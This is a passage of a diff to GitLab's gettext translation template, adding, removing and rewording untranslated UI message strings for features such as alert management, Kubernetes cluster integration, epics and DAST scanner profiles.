msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
